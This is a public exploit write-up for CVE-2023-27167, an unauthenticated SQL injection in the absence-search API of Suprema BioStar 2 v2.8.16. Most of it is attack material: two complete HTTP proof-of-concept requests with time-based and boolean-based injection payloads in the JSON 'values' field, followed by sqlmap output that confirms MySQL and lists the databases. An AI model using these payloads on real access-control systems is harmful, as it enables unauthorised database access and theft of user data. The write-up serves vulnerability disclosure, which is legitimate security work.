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# Exploit Title: Suprema BioStar 2 v2.8.16 - SQL Injection # Date: 26/03/2023 # Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/) # Vendor Homepage: https://www.supremainc.com/ # Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp # Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide # Version: 2.8.16 # Tested on: Windows, Linux # CVE-2023-27167 ## Description A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter. ## Request PoC #1 ''' POST /api/users/absence?search_month=1 HTTP/1.1 Host: biostar2.server.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/plain, */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/json;charset=UTF-8 content-language: en bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548 Content-Length: 204 Origin: https://biostar2.server.net Connection: close Referer: https://biostar2.server.net/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}} ''' Time based SQL injection (set 4 – response delays for 8 seconds). ''' ## Request PoC #2 ''' POST /api/users/absence?search_month=1 HTTP/1.1 Host: biostar2.server.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/plain, */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/json;charset=UTF-8 content-language: en bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548 Content-Length: 188 Origin: https://biostar2.server.net Connection: close Referer: https://biostar2.server.net/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}} ''' Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin) ''' ## Exploit with SQLmap Save the request from Burp Suite to file. ''' --- Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}} Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}} --- [05:02:49] [INFO] testing MySQL [05:02:49] [INFO] confirming MySQL [05:02:50] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL > 5.0.0 (MariaDB fork) [05:02:50] [INFO] fetching database names [05:02:50] [INFO] fetching number of databases [05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [05:02:55] [INFO] retrieved: 2 [05:03:12] [INFO] retrieved: biostar2_ac [05:03:56] [INFO] retrieved: information_schema available databases [2]: [*] biostar2_ac [*] information schema ''' |
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